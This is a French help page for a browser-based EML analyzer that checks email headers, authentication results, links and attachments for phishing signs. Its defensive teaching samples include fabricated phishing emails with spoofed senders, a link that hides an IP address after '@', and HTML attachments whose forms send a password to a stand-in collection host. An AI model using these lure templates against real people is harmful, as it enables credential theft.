Vérifiez les enregistrements SPF (avec la limite de 10 requêtes), DMARC, DKIM, MTA-STS et BIMI d'un domaine.
Analyseur EML
L'outil lui-même est en anglais ; cette page vous l'explique dans votre langue.
Utilisez Analyseur EML
Fonctionnalités
Déposez un fichier .eml ou collez la source d'un message pour vérifier ses en-têtes d'expéditeur, sa chaîne Received, ses liens et ses pièces jointes. Tout s'exécute dans votre navigateur.
Tout se passe entièrement dans votre navigateur : aucune des données que vous saisissez n'est transmise.
Comment utiliser Analyseur EML
- Récupérez le message brut. Enregistrez l'e-mail au format .eml ou copiez sa source : Gmail Show original, Outlook View message source, Thunderbird ou Apple Mail View source. Les fichiers Outlook .msg ne sont pas lus.
- Chargez-le. Déposez le fichier .eml sur la zone ou sélectionnez-le (jusqu'à 50 Mo), ou collez la source dans le champ de texte (jusqu'à 5 Mo) et appuyez sur Analyze (analyser).
- Lisez le résumé. Les constats sont classés en signes de danger, avertissements, notes et vérifications réussies. Chaque ligne indique l'en-tête, le lien ou la pièce jointe dont elle provient.
- Vérifiez les détails. Sous le résumé figurent les en-têtes d'expéditeur, les domaines comparés avec celui de From, les résultats d'authentification, la chaîne Received, chaque lien et chaque pièce jointe.
- Récupérez les indicateurs. Cochez les types d'indicateurs dont vous avez besoin, puis copiez-les bruts ou désamorcés, téléchargez-les dans un fichier .txt, ou utilisez Send to.
Exemple
Message de phishing fabriqué
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Un nom d'affichage se faisant passer pour support@example.com, un Reply-To et un DKIM sur d'autres domaines, un échec DMARC, un lien dont le texte affiche www.example.com mais qui mène à login.example.net, et une pièce jointe invoice.pdf.html contenant un formulaire de mot de passe.
Ce qu'il vérifie
| Signal | Ce que cela signifie |
|---|---|
| Nom d'affichage contenant une adresse e-mail | Danger lorsque le nom affiche une adresse et que le véritable expéditeur en est une autre. Les applications de messagerie n'affichent souvent que le nom. |
| Reply-To sur un autre domaine | Un avertissement : votre réponse irait à une autre organisation que l'expéditeur. |
| Authentication-Results | Un DMARC fail ou un SPF fail est un signe de danger ; un SPF softfail ou un DKIM fail est un avertissement. Seul le résultat ajouté par votre propre fournisseur compte. |
| Domaines Return-Path et DKIM d= | Notés lorsqu'ils diffèrent du domaine de From. C'est normal pour les services d'envoi en masse, mais DMARC exige que l'un d'eux soit aligné. |
| Chaîne Received | Les sauts sont listés du plus ancien au plus récent avec leurs délais. Un horodatage antérieur à celui du saut précédent, un délai de plus d'une heure ou un DNS inverse « may be forged » sont signalés. |
| Texte et destination des liens | Danger lorsque le texte visible nomme un domaine et que le lien mène à un autre, ou lorsqu'un texte placé avant @ masque le véritable hôte. Les IP nues, le punycode, les raccourcisseurs et les liens encapsulés sont aussi signalés. |
| Pièces jointes | Les doubles extensions, les fichiers qui exécutent du code ou s'ouvrent dans un navigateur, un contenu qui ne correspond pas à l'extension et les astuces de remplacement droite-à-gauche (right-to-left override) sont signalés. Chaque fichier reçoit ses SHA-256, SHA-1 et MD5. |
| Formulaires et scripts dans le HTML | Un formulaire avec un champ de mot de passe dans le corps ou dans une pièce jointe est un signe de danger. Du code de script dans une pièce jointe est un avertissement. |
D'autres exemples
Un lien qui cache une adresse IP
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 signe de danger, « 1 link: text before "@" is ignored: the real host is 203.0.113.7 », et 1 avertissement, « 1 link: link goes to a bare IP address ». Le tableau Links affiche l'adresse désamorcée à côté de son texte, Upgrade storage.
Une page HTML se faisant passer pour un PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 signes de danger : la pièce jointe invoice.pdf « contains a form with a password field », et son « content is HTML document, not .pdf ». La carte de la pièce jointe affiche Content: HTML document et trois empreintes ; le tableau Links liste la cible du formulaire avec « form submits data to this address ».
FAQ
Que vérifie EML Analyzer ?
Il décode les en-têtes et chaque partie MIME, compare les domaines de From, Reply-To, Return-Path, DKIM d= et Message-ID, et lit les Authentication-Results. Il liste aussi les sauts Received avec leurs délais, chaque lien avec son texte visible, ainsi que les SHA-256, SHA-1 et MD5 de chaque pièce jointe.
Peut-il prouver qu'un e-mail est du phishing, ou qu'il est sûr ?
Non. Il montre des faits et des signes d'alerte, pas un verdict : les envois de masse légitimes ont souvent un Return-Path ou un domaine DKIM différent, et les signatures DKIM sont listées mais pas vérifiées cryptographiquement. Les fichiers Outlook .msg ne sont pas pris en charge ; enregistrez d'abord le message au format .eml.
L'e-mail est-il téléversé quelque part ?
Non. Le fichier est lu et analysé dans votre navigateur, le HTML est affiché sous forme de texte sans jamais être rendu, et rien ne passe par le réseau. Le bouton Send to transmet un résultat à une autre page d'outil via le stockage de session de votre navigateur.
À quel en-tête Authentication-Results se fie-t-il ?
À celui ajouté par votre propre système de messagerie, reconnu grâce à la chaîne Received et marqué « added by the recipient's server ». Les en-têtes situés plus bas dans le message peuvent être écrits par l'expéditeur : la page vous invite donc à ne vous fier qu'au résultat de votre fournisseur.
Peut-il ouvrir un e-mail joint à un autre e-mail ?
Oui. Un message joint est listé avec ses empreintes et un bouton « Analyze the attached message » qui l'ouvre dans la même vue. « Back to the outer message » vous ramène au message principal.
Pourquoi certaines adresses IP manquent-elles dans les indicateurs ?
Les adresses privées et locales ainsi que les sauts internes au système de messagerie du destinataire sont exclus, car ils ne désignent pas les serveurs de l'expéditeur. Les adresses e-mail des destinataires ne sont jamais incluses non plus.